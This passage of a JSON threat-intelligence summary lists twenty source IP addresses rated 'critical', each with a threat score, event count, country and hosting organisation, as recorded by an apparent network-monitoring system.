    "avg_threat_score": 22.6,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "51.68.207.118",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 760,
        "country": "France",
        "org": "OVH SAS"
      },
      {
        "ip": "80.66.83.43",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 18,
        "country": "Russia",
        "org": "Bashinskii Vadim Ruslanovich"
      },
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 6,
        "country": "France",
        "org": "Contabo GmbH"
      },
      {
        "ip": "92.63.197.22",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 6,
        "country": "Ukraine",
        "org": "FOP Dmytro Nedilskyi"
      },
      {
        "ip": "85.217.149.39",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 4,
        "country": "Canada",
        "org": "Modat B.V."
      },
      {
        "ip": "77.83.240.70",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 992,
        "country": "United States",
        "org": "Alsycon B.V."
      },
      {
        "ip": "65.49.20.66",
        "threat_score": 98.6,
        "threat_level": "critical",
        "total_events": 14,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "65.49.20.68",
        "threat_score": 97.4,
        "threat_level": "critical",
        "total_events": 10,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "45.82.78.104",
        "threat_score": 97.3,
        "threat_level": "critical",
        "total_events": 8,
        "country": "Germany",
        "org": "Detai Prosperous Technologies Limited"
      },
      {
        "ip": "45.82.78.102",
        "threat_score": 97.1,
        "threat_level": "critical",
        "total_events": 2,
        "country": "Germany",
        "org": "Detai Prosperous Technologies Limited"
      },
      {
        "ip": "80.82.77.33",
        "threat_score": 96.9,
        "threat_level": "critical",
        "total_events": 8,
        "country": "The Netherlands",
        "org": "IP Volume inc"
      },
      {
        "ip": "195.178.110.204",
        "threat_score": 96.9,
        "threat_level": "critical",
        "total_events": 3,
        "country": "Bulgaria",
        "org": "Techoff Srv Limited"
      },
      {
        "ip": "176.32.193.16",
        "threat_score": 96.7,
        "threat_level": "critical",
        "total_events": 40,
        "country": "Armenia",
        "org": "Ucom CJSC"
      },
      {
        "ip": "65.49.1.172",
        "threat_score": 96.6,
        "threat_level": "critical",
        "total_events": 8,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "74.82.47.4",
        "threat_score": 96.4,
        "threat_level": "critical",
        "total_events": 7,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "65.49.20.69",
        "threat_score": 96.2,
        "threat_level": "critical",
        "total_events": 7,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "93.174.95.106",
        "threat_score": 96.2,
        "threat_level": "critical",
        "total_events": 8,
        "country": "The Netherlands",
        "org": "IP Volume inc"
      },
      {
        "ip": "65.49.20.67",
        "threat_score": 96.1,
        "threat_level": "critical",
        "total_events": 2,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "80.82.70.133",
        "threat_score": 96.1,
        "threat_level": "critical",
        "total_events": 12,
        "country": "The Netherlands",
        "org": "IP Volume inc"
      },
      {
        "ip": "65.49.1.80",
        "threat_score": 95.9,
        "threat_level": "critical",
        "total_events": 22,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      }
    ]
  }
}